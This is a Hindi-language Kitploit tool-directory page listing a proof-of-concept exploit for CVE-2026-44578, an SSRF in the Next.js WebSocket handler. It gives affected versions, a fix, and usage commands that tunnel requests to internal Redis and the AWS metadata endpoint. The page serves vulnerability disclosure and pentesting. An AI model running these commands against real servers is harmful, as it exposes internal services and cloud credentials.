Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-44578-PoC — CVE-2026-44578 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js WebSocket हैंडलर में सर्वर-साइड रिक्वेस्ट फॉरजरी है। इसमें डिटेक्शन मोड और Redis या क्लाउड मेटाडेटा एंडपॉइंट जैसी इंटरनल सर्विसेज़ तक टनलिंग शामिल है। | Kitploit
उपकरण/GitHubGitHub/tocong282/cve-2026-44578-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगक्लाउड सुरक्षा
GitHubtocong282/cve-2026-44578-poc

CVE-2026-44578-PoC

CVE-2026-44578 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js WebSocket हैंडलर में सर्वर-साइड रिक्वेस्ट फॉरजरी है। इसमें डिटेक्शन मोड और Redis या क्लाउड मेटाडेटा एंडपॉइंट जैसी इंटरनल सर्विसेज़ तक टनलिंग शामिल है।

रिपॉजिटरी देखें
474 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-44578 - Next.js WebSocket SSRF PoC

कमजोरी: Next.js WebSocket अपग्रेड हैंडलर में सर्वर-साइड रिक्वेस्ट फोर्जरी (13.4.13 → 15.5.15, 16.0.0 → 16.1.6)

उपयोग

# Detect vulnerability
python3 poc.py target.com:3000 --detect

# Tunnel to internal Redis
python3 poc.py target.com:3000 --internal 127.0.0.1:6379 --payload "INFO\r\n"

# Tunnel to AWS metadata
python3 poc.py target.com:3000 --internal 169.254.169.254:80 --payload "GET /latest/meta-data/ HTTP/1.0\r\n\r\n"

समाधान

Next.js 15.5.16 या 16.2.5 में अपग्रेड करें

संदर्भ

  • https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
  • GHSA-c4j6-fc7j-m34r
टूल डाउनलोड करें